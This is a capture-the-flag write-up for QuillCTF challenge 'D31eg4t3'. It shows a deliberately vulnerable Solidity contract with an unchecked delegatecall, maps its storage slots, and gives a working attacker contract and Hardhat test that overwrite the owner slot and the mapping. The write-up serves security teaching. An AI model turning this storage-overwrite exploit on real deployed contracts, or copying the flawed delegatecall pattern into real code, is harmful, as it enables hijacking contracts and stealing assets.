This CTF challenge is developed to showcase the vulnerability which can be introduced by using delegatecall() incorrectly.
“Handle with care, It’s D31eg4t3”
Objective of CTF:
- Become the owner of the contract.
- Make
canYouHackMe
mapping totrue
for your own address.
Target contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract D31eg4t3 {
uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping(address => bool) public canYouHackMe;
modifier onlyOwner() {
require(false, "Not a Owner");
_;
}
constructor() {
owner = msg.sender;
}
function hackMe(bytes calldata bites) public returns (bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
}
function hacked() public onlyOwner {
canYouHackMe[msg.sender] = true;
}
}
The Attack
In this challenge, we are given a free-pass to make a delegatecall
via the hackMe
function. That is awesome, because delegatecall
allows you to run code in the context of the caller contract. A side-effect of this is that the called contract can write to whatever storage slot they want with this. In this case, it looks like we are tasked with becoming the owner, and then calling the hacked
function.
Let us first check the storage layout too see where owner
would be. If all variables are less than 32 bytes in size, we should see it in the 6th slot (0x05
). We can not always assume that to be the case, especially when there are strings. So let us just make some calls to the contract with ethers.getStorageAt
. We find that:
Slot 0 : 0x0000000000000000000000000000000000000000000000000000000000003039 // uint a
Slot 1 : 0x0000000000000000000000000000000000000000000000000000000000000020 // uint8 b
Slot 2 : 0x533020434c305333205933542053302046345200000000000000000000000026 // string d
Slot 3 : 0x0000000000000000000000000000000000000000000000000000000000000539 // uint32 c
Slot 4 : 0x3100000000000000000000000000000000000000000000000000000000000002 // string mot
Slot 5 : 0x000000000000000000000000698ee928558640e35f2a33cc1e535cf2f9a139c8 // address owner
So we just need to overwrite the 6th slot in the contract with our address. However, if you go on with the attack this way, you will notice that you always get stuck at onlyOwner
modifier! The catch is that this modifier always reverts, no matter what; it has require(false)
in it! So, although becoming the owner is a part of the objective, it is not enough. We also need to override mapping value too. Doing that is the same, we just need to make sure that the mapping storage variable is at the correct slot, in this case it will be the slot right after the owner
, which is Slot 6
.
We are also given the ability to pass calldata
to the delegatecall
via bites
parameter, but we don't really need it for the attack. We can just write our code within a fallback function, which will execute when we provide an empty calldata.
Proof of Concept
The attacker contract is as follows:
contract D31eg4t3Attacker {
uint256 slot0;
uint256 slot1;
uint256 slot2;
uint256 slot3;
uint256 slot4;
address owner; // owner
mapping(address => bool) public yesICan; // canYouHackMe
function pwn(address target) external {
(bool success, ) = D31eg4t3(target).hackMe("");
require(success, "failed.");
}
fallback() external {
owner = tx.origin;
yesICan[tx.origin] = true;
}
}
The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.
describe('QuillCTF 5: D31eg4t3', () => {
let contract: D31eg4t3;
let attackerContract: D31eg4t3Attacker;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
before(async () => {
[owner, attacker] = await ethers.getSigners();
contract = await ethers.getContractFactory('D31eg4t3', owner).then(f => f.deploy());
await contract.deployed();
});
it('should claim ownership and hack', async () => {
// deploy the attacker contract
attackerContract = await ethers.getContractFactory('D31eg4t3Attacker', attacker).then(f => f.deploy());
await attackerContract.deployed();
// initiate first claim and consequent re-entries via pwn
await attackerContract.connect(attacker).pwn(contract.address);
expect(await contract.owner()).to.eq(attacker.address);
expect(await contract.canYouHackMe(attacker.address)).to.be.true;
});
});
Top comments (0)